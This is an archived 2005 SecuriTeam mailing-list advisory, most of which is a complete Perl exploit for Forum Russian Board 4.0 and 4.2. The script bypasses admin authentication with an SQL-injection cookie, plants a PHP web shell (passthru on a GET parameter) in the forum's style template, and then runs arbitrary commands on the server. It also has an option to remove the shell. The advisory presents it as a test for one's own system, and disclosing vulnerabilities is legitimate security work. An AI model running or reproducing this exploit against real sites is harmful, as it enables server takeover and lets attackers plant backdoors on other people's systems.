[EXPL] FRB Remote Command Execution (Exploit)

From: SecuriTeam (support_at_securiteam.com)
Date: 06/23/05

  • Next message: SecuriTeam: "[UNIX] Ipswitch WhatsUp SQL Injection Vulnerability" 
    To: list@securiteam.com
Date: 23 Jun 2005 12:41:48 +0200

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      FRB Remote Command Execution (Exploit)
    ------------------------------------------------------------------------

    SUMMARY

     <http://frb.ru/> Forum Russian Board is "a PHP based web forum portal".
    Remote command execution vulnerability discovered in FRB allows malicious
    attackers to execute arbitrary code on the vulnerable system, the
    following exploit code can be used to test this vulnerability on your
    system.

    DETAILS

    Vulnerable Systems:
     * Forum Russian Board versions 4.0 and 4.2

    Exploit:
    #!/usr/bin/perl

    # Forum Russian Board 4.2 Full (FRB) (http://www.carline.ru ,
    http://frb.ru)
    # command execution exploit by RST/GHC (http://rst.void.ru ,
    http://ghc.ru)
    # bugs found by foster & 1dt.w0lf , xpl coded by 1dt.w0lf
    # RST/GHC - http://rst.void.ru , http://ghc.ru

    use IO::Socket;
    use Getopt::Std;

    getopts("h:p:u:i:c:");

    $host = $opt_h;
    $path = $opt_p;
    $user = $opt_u;
    $id = $opt_i;
    $cmd = $opt_c || 'create';

    $cmdspl = "%26%26"; # ; - for unix
                        # %26%26 - for windows

    if(!$host || !$path) { usage(); }
    if(($cmd eq 'create' || $cmd eq 'delete') && (!$user || !$id)) { usage();
    }

    $host =~ s/(http:\/\/)//g;
    $cook = $user."' /*";

    if($cmd eq 'create' || $cmd eq 'delete'){
    head();
    print ">>> CREATE SHELL\n" if ($cmd eq 'create');
    print ">>> DELETE SHELL\n" if ($cmd eq 'delete');
    $sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host",
    PeerPort => "80") || die "[-] CONNECT FAILED\n";
    print $sock "GET ${path}admin/style_edit.php HTTP/1.1\n";
    print $sock "Host: $host\n";
    print $sock "Accept: */*\n";
    print $sock "Cookie: board_user_cook=$cook;board_user_id=$id\n";
    print $sock "Connection: close\n\n";
    print "GETTING CURRENT STYLE ... [";
    while ($res = <$sock>)
    {
     if($res =~ /(.*)<\/textarea>/) { $data .= $1; $p = 0; }
     $data .= $res if $p;
     if($res =~ s/(.*)(<textarea)([^<>]*)([>])(.*)/$5/) { $data .= $res; $p =
    1; }
    }

    if(length($data)>0) { print " DONE ]\n"; }
    else { print " FAILED ]\n"; exit(); }

    if($data =~ /rst_ghc/)
     {
     if($cmd eq 'create') { print "SHELL ALREADY EXIST!"; exit(); }
     if($cmd eq 'delete')
      {
      print "SHELL EXIST.\nDELETING SHELL.\n";
      $data =~ s/\s*<\? if\(\$_GET\[rst_ghc\]\)\{
    passthru\(\$_GET\[rst_ghc\]\); \} \?>//g;
      }
     }
    else
     {
     if($cmd eq 'create')
      {
      $data .= "\n";
      $data .= '<? if($_GET[rst_ghc]){ passthru($_GET[rst_ghc]); } ?>';
      }
     if($cmd eq 'delete') { print "SHELL NOT EXIST. CAN'T DELETE."; exit(); }
     }

    $data =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
    $post = "message=${data}&form_h=yes&style_edit_ok=".
    "%C8%E7%EC%E5%ED%E8%F2%FC";
    print "CREATE NEW STYLE ...[";
    $sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host",
    PeerPort => "80") || die "[-] CONNECT FAILED\r\n";
    print $sock "POST ${path}admin/style_edit.php HTTP/1.1\n";
    print $sock "Host: $host\n";
    print $sock "Cookie: board_user_cook=$cook;board_user_id=$id\n";
    print $sock "Content-Type: application/x-www-form-urlencoded\n";
    print $sock "Content-length: ".length($post)."\n\n";
    print $sock "$post";
    print $sock "\n\n";
    print " DONE ]\n";
    if($cmd eq 'create') { print "SHELL CREATED SUCCESSFULLY! NOW YOU CAN TRY
    EXECUTE COMMAND."; }
    if($cmd eq 'delete') { print "SHELL DELETED!"; }
    }
    else
    {
    head();
    print ">>> COMMAND EXECUTE\n";
    $sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host",
    PeerPort => "80") || die "[-] CONNECT FAILED\n";
    print $sock "GET ${path}index.php?rst_ghc=echo%20_START_%20".
    "$cmdspl%20$cmd%20$cmdspl%20echo%20_END_%20; HTTP/1.1\n";
    print $sock "Host: $host\n";
    print $sock "Accept: */*\n";
    print $sock "Connection: close\n\n";

    while ($res = <$sock>)
    {
     if($res =~ /^_END_/) { $p = 0; }
     $data .= $res if $p;
     if($res =~ /^_START_/) { $p = 1; }
    }
    if(length($data)>0) {

                          print
    "-----------------------------------------------------------------\n";
                          print $data;
                          print
    "-----------------------------------------------------------------\n";
                          exit(0);
                        }
    else { print "[-] FAILED\nMaybe you forget create shell first?\n";
    exit(0); }

    }

    sub usage()
    {
     head();
     print " USAGE : r57frb.pl [options]\n\n";
     print " Options: \n";
     print " -h - host e.g. '127.0.0.1' , 'www.frb.ru'\n";
     print " -p - path to forum e.g. '/frb/' , '/forum/'\n";
     print " -u - admin username e.g. 'admin'\n";
     print " -i - admin id e.g. '1'\n";
     print " -c [create|delete|cmd]\n";
     print " create - for create shell\n";
     print " delete - for delete shell\n";
     print " cmd - any command for execute\n";
     print
    "-----------------------------------------------------------------\n";
    exit(0);
    }

    sub head()
    {
     print
    "-----------------------------------------------------------------\n";
     print "Forum Russian Board 4.0 Full command execution exploit by
    RST/GHC\n";
     print
    "-----------------------------------------------------------------\n";
    }

    ADDITIONAL INFORMATION

    The information has been provided by 1dt.w0lf.
    The original article can be found at:
    <http://rst.void.ru/papers/advisory29.txt>
    http://rst.void.ru/papers/advisory29.txt

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

  • Next message: SecuriTeam: "[UNIX] Ipswitch WhatsUp SQL Injection Vulnerability"

    Relevant Pages

    • [EXPL] OpenFTPD Format String Exploit
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... char *user, *pass; ... if (sock < 0) ... void login(char *user, char *pass, int sock) ...
      (Securiteam)
    • [TOOL] NetBus UNIX Ported Client
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... void mainloop(int sock, char* vict); ... int isnetbus{ ...
      (Securiteam)
    • [UNIX] phpMyChat Improper File Permissions
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... sub sock(){ ... print $ock "Accept-Language: pt\r\n"; ... print " * sploit remote phpMychat\n"; ...
      (Securiteam)
    • [UNIX] MPlayer MMST and Real RTSP Multiple Heap Overflows
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... The second vulnerability is due to a heap overflow ... which may be exploited via a malicious server to ... cause a denial of service and potentially compromise a vulnerable system. ...
      (Securiteam)
    • [NT] AVIRA Antivirus ACE Archive Handling Buffer Overflow
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... compromise a vulnerable system. ... Successful exploitation allows arbitrary code execution, ... The vendor has issue the following statement: ...
      (Securiteam)